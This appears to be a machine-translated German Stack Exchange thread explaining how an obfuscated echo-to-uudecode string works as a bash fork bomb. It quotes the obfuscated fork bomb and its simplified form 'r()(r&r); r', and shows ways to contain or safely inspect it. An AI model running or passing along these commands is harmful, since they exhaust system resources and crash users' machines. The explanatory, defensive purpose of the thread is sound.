Wie und warum ist diese Textfolge eine Gabelbombe?

132

Gefunden auf einem zufälligen Chan Board:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Irgendwie läuft dies so, dass ein unendlich laichender Prozess entsteht, der zügellos abläuft und die Maschine zum Stillstand bringt. Ich sehe etwas über "su", das versucht, mehrmals hingerichtet zu werden.

..was seltsam ist, denn ich würde nur erwarten, dass Text ausgegeben wird, nicht die Ausführung von irgendetwas.

Wenn ich diesen Text durch einen Online-Decoder lasse, bekomme ich nur eine Menge Binärspe:

Uudecode Ergebnis

Was macht diese Textverwirrung eigentlich und gibt es eine Möglichkeit, sie "sicher" anzuzeigen?

Mikey TK
quelle
Warum wird "su" mehrmals ausgeführt?
Brent Washburne
34
Ein Tipp: Führen Sie keinen Code von zufälligen Chan-Boards aus und seien Sie dankbar, dass es sich nur um eine Gabelbombe handelte.
rr
21
Heh. Zum Glück befand ich mich auf einer VM mit Schnappschuss, die speziell dafür gemacht war, mit möglicherweise feindlichem Müll wie diesem herumzuspielen.
Mikey TK
1
Vidar Holen, der Autor von shellcheck.net, hat einen Blog-Beitrag dazu geschrieben, in dem er behauptet, der Autor dieser Gabelbombe zu sein, und einige Hintergrundinformationen gibt.
Socowi

Antworten:

194

Schauen wir uns zunächst den gesamten Befehl an:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Es enthält eine Zeichenfolge in doppelten Anführungszeichen, die wiedergegeben wird uudecode. Beachten Sie jedoch, dass es sich bei der Zeichenfolge in doppelten Anführungszeichen um eine Zeichenfolge in umgekehrten Anführungszeichen handelt . Dieser String wird ausgeführt . Die Zeichenfolge lautet:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Wenn wir uns ansehen, was drin ist, sehen wir drei Befehle:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Wenn Sie die Klammer auf den mittleren Befehl erweitern, haben Sie:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

In der ersten Zeile wird versucht, einen Unsinnsbefehl im Hintergrund auszuführen. Das ist unwichtig.

Die zweite Zeile ist wichtig: Sie definiert eine Funktion, rdie beim Ausführen zwei Kopien von sich selbst startet. Jede dieser Kopien würde natürlich zwei weitere Kopien auf den Markt bringen. Und so weiter.

Die dritte Reihe rstartet die Gabelbombe.

Der Rest des Codes außerhalb der Zeichenfolge in Anführungszeichen ist nur Unsinn für die Verschleierung.

So führen Sie den Befehl sicher aus

Dieser Code kann gefahrlos ausgeführt werden, wenn die Ebene der Funktionsverschachtelung begrenzt ist. Dies kann mit der FUNCNESTVariablen von bash geschehen . Hier setzen wir es auf 2und dies stoppt die Rekursion:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Die obigen Fehlermeldungen zeigen, dass (a) die Quatschbefehle rYWdlund Y29jnicht gefunden werden, (b) die Gabelbombe wiederholt von FUNCNEST gestoppt wird und (c) die Ausgabe von echonicht mit beginnt beginund folglich keine gültige Eingabe für ist uudecode.

Die Gabelbombe in ihrer einfachsten Form

Wie würde die Gabelbombe aussehen, wenn wir die Verdunkelung entfernen würden? Wie njzk2 und gerrit vorschlagen, würde es so aussehen:

echo "`r()(r&r);r`"

Das können wir noch weiter vereinfachen:

r()(r&r); r

Das setzt sich aus zwei Aussagen zusammen: Eine definiert die Gabelbombenfunktion rund die zweite läuft r.

Der gesamte andere Code, einschließlich der Pipe to uudecode, diente nur der Verschleierung und Fehlleitung.

Die ursprüngliche Form hatte noch eine weitere Fehlleitungsebene

Das OP hat einen Link zur Channel-Board-Diskussion bereitgestellt, auf der dieser Code erschien. Wie dort dargestellt, sah der Code folgendermaßen aus:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Beachten Sie einen der ersten Kommentare zu diesem Code:

Ich bin darauf hereingefallen. Kopierte nur den Teil, der widerhallt und dekodiert, aber immer noch gabelbombardiert wurde

In der Form auf der Kanaltafel würde man naiv denken, dass das Problem die evalAussage sein würde, die auf dem Ausgang von arbeitet uudecode. Dies würde den Eindruck erwecken, dass das Entfernen evaldas Problem lösen würde. Wie wir oben gesehen haben, ist dies falsch und gefährlich.

John1024
quelle
6
Verschwunden! Ich hätte nie gedacht, Shell Globbing / Expansion in der Mitte der hallenden Zeichenfolge in Betracht zu ziehen.
Mikey TK
31
Ich denke, es wäre gut zu bemerken, dass das uudecodehier völlig irrelevant ist. Für einen Moment dachte ich, ich uudecodewürde eine Interpolation von Strings in Anführungszeichen durchführen, die es grundsätzlich unsicher machen würde, aber die Fork-Bombe passiert, bevor Uudecode überhaupt startet.
Gerrit
28
... und das , meine Damen und Herren, ist der Grund, warum die Sicherheit in Shell-Skripten so verdammt hoch ist. Selbst völlig harmlos aussehendes Zeug kann dich töten. (Stellen Sie sich vor, dies wäre eine Benutzereingabe von irgendwoher ...)
MathematicalOrchid
22
@MathematicalOrchid Tatsächlich ist es keine leichte Aufgabe, in Benutzereingaben ein Shell-Skript so zu erstellen, dass es ausgeführt wird. Und wenn Sie konstruieren einen Shell - Skript aus Benutzereingaben sollten Sie besser wissen , als es in doppelten Anführungszeichen zu setzen.
Random832
5
@ njzk2 Sie müssen noch eine &dort: echo "`r()(r&r);r`".
Gerrit
10

So beantworten Sie den zweiten Teil Ihrer Frage:

... gibt es eine Möglichkeit, es "sicher" anzuzeigen?

Um diese Zeichenfolge zu entschärfen, ersetzen Sie die äußeren Anführungszeichen durch einfache Anführungszeichen und umgehen Sie die einfachen Anführungszeichen in der Zeichenfolge. Auf diese Weise führt die Shell keinen Code aus und Sie übergeben alles direkt an uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Andere Alternativen sind in den Kommentaren vermerkt:

Kasperd schlug vor :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall schlug vor , einen Texteditor zu verwenden, den Inhalt einzufügen und diese Datei dann an uudecode zu übergeben.

Gerrit
quelle
5
Alternativ: Geben Sie uudecodein die Befehlszeile ein. Drücken Sie Enter. Kopieren Sie den zu dekodierenden String und fügen Sie ihn ein.
Kasperd
3
Eine andere Alternative: Verwenden Sie einen Texteditor, um den Inhalt in einer Datei zu speichern. Öffnen Sie diese Datei mit uudecode.
Jacob Krall
Dank beidem habe ich diese Alternativen in der Antwort vermerkt.
Gerrit
1
Stellen Sie sicher, dass die Zeichenfolge nicht der echo "foo`die`bar'`die`'baz"ersten entspricht! Das heißt, wenn es irgendwelche 's enthält, reicht es nicht aus, die Anführungszeichen durch einfache Anführungszeichen zu ersetzen.
wchargin
5

Auf den ersten Blick könnte man meinen, dass die Ausgabe an die Shell niemals ausgeführt wird . Das ist immer noch wahr . Das Problem liegt bereits in der Eingabe . Der Haupttrick dabei ist, was Programmierer als Operatorpriorität bezeichnen . Dies ist die Reihenfolge, in der die Shell versucht, Ihre Eingabe zu verarbeiten:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Erstellen Sie die Zeichenfolge, indem Sie alle darin enthaltenen Backticks-Befehle ausführen.
  2. Normalerweise ein unbekannter Befehl, der zu Ausgaben wie "rYWdl" führen würde. Wenn es sich nicht um einen Tippfehler handelt, können Sie den Befehl "not-found" verwenden, um das Paket zu suchen, in dem er enthalten ist. (Hängt vom System ab.)
  3. Führt 2. im Hintergrund aus. Sie werden nie eine Ausgabe sehen.
  4. Definieren Sie die Gabelbombenfunktion.
  5. Befehlstrennzeichen.
  6. Lass die Gabelbombe los.
  7. Fügen Sie das Ergebnis von 6. in den String ein. (Wir kommen nie hierher.)

Der Fehler ist zu denken, dass echodies der erste Befehl ist, der ausgeführt wird, uudecodeder zweite. Beide werden niemals erreicht werden.

Fazit: Doppelte Anführungszeichen sind in der Shell immer gefährlich.

Matthias Ronge
quelle